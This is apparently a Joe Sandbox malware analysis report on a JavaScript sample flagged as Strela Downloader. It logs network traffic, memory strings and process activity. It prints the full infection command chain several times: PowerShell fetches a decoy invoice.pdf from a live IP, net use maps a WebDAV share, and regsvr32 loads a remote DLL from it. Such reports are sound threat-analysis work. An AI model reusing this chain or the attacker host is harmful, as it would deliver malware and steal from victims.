TCP traffic: 192.168.2.9:49767 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49747 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1352543427.0000016EC05D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1417400632.000002AEB9108000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1417400632.000002AEB9165000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1417400632.000002AEB913E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/%
Source: net.exe, 00000007.00000002.1417400632.000002AEB913E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/-
Source: net.exe, 00000007.00000002.1417400632.000002AEB913E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/m
Source: net.exe, 00000007.00000002.1417400632.000002AEB9108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.2647813323.000002A561600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1416078573.000002A561840000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7444, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 53198678114324144.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7536:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0bel03zg.taw.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\53198678114324144.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2172 --field-trial-handle=1528,i,8348872387102134558,7204208568266747758,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2172 --field-trial-handle=1528,i,8348872387102134558,7204208568266747758,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
